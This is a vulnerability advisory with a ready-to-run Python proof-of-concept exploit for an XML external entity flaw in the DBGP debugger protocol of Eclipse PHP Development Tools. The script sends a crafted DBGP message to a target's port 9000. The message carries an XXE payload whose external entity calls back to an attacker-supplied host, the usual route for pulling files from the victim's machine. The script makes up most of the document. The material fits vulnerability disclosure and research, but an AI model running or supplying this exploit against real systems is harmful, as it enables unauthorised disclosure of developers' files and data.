SRC-2021-0020 : Eclipse PHP Development Tools DBGP XML External Entity Processing Information Disclosure Vulnerability

#!/usr/bin/env python3
"""
Eclipse PHP Development Tools DBGP XML External Entity Processing Information Disclosure Vulnerability
Download: https://github.com/eclipse/pdt
Discovery date: 17/6/2021
Status: Reported to the vendor
CVSS: 7.5 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

# Summary:

This vulnerability allows remote attackers to disclose sensitive information on affected installations of Eclipse PHP Development Tools. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the DBG protocol. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of user running Eclipse.
"""

import sys
import socket

if __name__ == "__main__":
    if(len(sys.argv) < 3):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.1.2 192.168.1.3" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    c = sys.argv[2]
    xxe = """<!ENTITY %% si SYSTEM "http://%s/xxe">
%%si;
]>""" % c
    data  = str(len(xxe))
    data += "\x00"
    data += xxe
    data += "\x00"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((t, 9000)) # default port, but yours maybe different
    s.send(data.encode())
    s.close()